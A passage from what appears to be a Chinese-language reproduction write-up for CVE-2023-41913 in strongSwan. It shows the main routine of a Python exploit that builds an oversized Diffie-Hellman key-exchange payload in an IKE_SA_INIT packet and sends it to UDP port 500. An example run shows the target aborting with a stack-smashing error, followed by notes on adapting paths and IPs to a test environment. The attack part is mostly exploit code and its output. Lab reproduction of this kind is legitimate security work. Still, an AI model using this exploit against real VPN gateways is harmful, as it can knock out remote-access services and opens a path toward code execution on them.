parser.add_argument("--ip", type=str, default="172.17.90.2", help="目标IP地址")
parser.add_argument("--port", type=int, default=500, help="目标端口")
parser.add_argument("--dh-len", type=int, default=800, help="DH值长度")
args = parser.parse_args()
dh_value = gen_dh_value(args.dh_len)
kex_payload = build_kex_payload(dh_value)
ike_sa_init_req = build_ike_sa_init_req(kex_payload)
ike_sa_init_req2 = patch_ike_length(ike_sa_init_req)
data = bytes.fromhex(ike_sa_init_req2)
send_ike_packet(data, args.ip, args.port)
if __name__ == "__main__":
main()
```
### **执行示例**
```Bash
python cve-2023-41913.py --ip 172.17.90.2 --port 500 --dh-len 600
# 对端strongswan检测到栈溢出
*** stack smashing detected ***: terminated
Aborted
```
## **注意事项**
1. **路径调整**: 所有路径(证书、库文件等)需根据实际环境调整
2. **网络配置**: IP 地址和身份标识需匹配实际测试环境
3. **证书指纹**: tkm.conf 中的指纹值需根据实际 CA 证书计算
4. **依赖版本**: 确保使用指定版本的组件以避免兼容性问题
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment